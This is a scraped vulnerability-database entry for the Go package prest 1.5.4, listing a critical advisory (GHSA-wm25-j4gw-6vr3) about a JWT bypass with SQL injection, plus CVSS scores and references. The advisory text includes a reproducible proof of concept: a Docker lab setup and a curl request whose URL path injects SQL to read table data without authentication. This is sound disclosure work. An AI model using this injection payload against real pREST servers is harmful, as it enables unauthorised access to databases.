Lookup for vulnerable packages by Package URL.
| Purl | pkg:golang/github.com/prest/prest@1.5.4 |
| Type | golang |
| Namespace | github.com/prest |
| Name | prest |
| Version | 1.5.4 |
| Qualifiers |
|
| Subpath | |
| Is_vulnerable | false |
| Next_non_vulnerable_version | null |
| Latest_non_vulnerable_version | null |
| Affected_by_vulnerabilities |
|
| Fixing_vulnerabilities |
| 0 |
| url |
VCID-c9jr-8fc6-vbcs |
| vulnerability_id |
VCID-c9jr-8fc6-vbcs |
| summary |
pREST vulnerable to jwt bypass + sql injection
### Summary
Probably jwt bypass + sql injection
or what i'm doing wrong?
### PoC (how to reproduce)
1. Create following files:
docker-compose.yml:
```
services:
postgres:
image: postgres
container_name: postgres_container_mre
environment:
POSTGRES_USER: test_user_pg
POSTGRES_PASSWORD: test_pass_pg
POSTGRES_DB: test_db
prest:
image: prest/prest
build: .
volumes:
- ./queries:/queries
- ./migrations:/migrations
ports:
- "3000:3000"
```
Dockerfile:
```
from prest/prest:latest
COPY ./prest.toml prest.toml
```
prest.toml:
```
debug=false
migrations = "./migrations"
[http]
port = 3000
[jwt]
default = true
key = "secret"
algo = "HS256"
[auth]
enabled = true
type = "body"
encrypt = "MD5"
table = "prest_users"
username = "username"
password = "password"
[pg]
URL = "postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable"
[ssl]
mode = "disable"
sslcert = "./PATH"
sslkey = "./PATH"
sslrootcert = "./PATH"
[expose]
enabled = true
databases = true
schemas = true
tables = true
[queries]
location = "/queries"
```
2. run commands:
```
mkdir -p migrations queries
docker compose up --build -d
```
wait for pg and prest, then run following to add test data to the pg:
```
export PGPASSWORD=test_pass_pg
docker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c "CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\
INSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;"
```
3. SQL injection even without jwt token:
```
curl --location '127.0.0.1:3000/test_db/public".some_table)%20s;--/auth'
```
output:
```
[{"id": 1, "secret_data": "some secret text"}]
``` |
| references |
| 0 |
| reference_url |
https://github.com/prest/prest |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
9.8 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
|
| 1 |
| value |
9.3 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
|
| 2 |
| value |
CRITICAL |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
|
| url |
https://github.com/prest/prest |
|
| 1 |
|
| 2 |
|
| 3 |
| reference_url |
https://pkg.go.dev/vuln/GO-2024-3011 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
9.8 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
|
| 1 |
| value |
9.3 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
|
| 2 |
| value |
CRITICAL |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
|
| url |
https://pkg.go.dev/vuln/GO-2024-3011 |
|
|
| fixed_packages |
|
| aliases |
GHSA-wm25-j4gw-6vr3
|
| risk_score |
null |
| exploitability |
null |
| weighted_severity |
null |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-c9jr-8fc6-vbcs |
|
|
| Risk_score | null |
| Resource_url | http://public2.vulnerablecode.io/packages/pkg:golang/github.com/prest/prest@1.5.4 |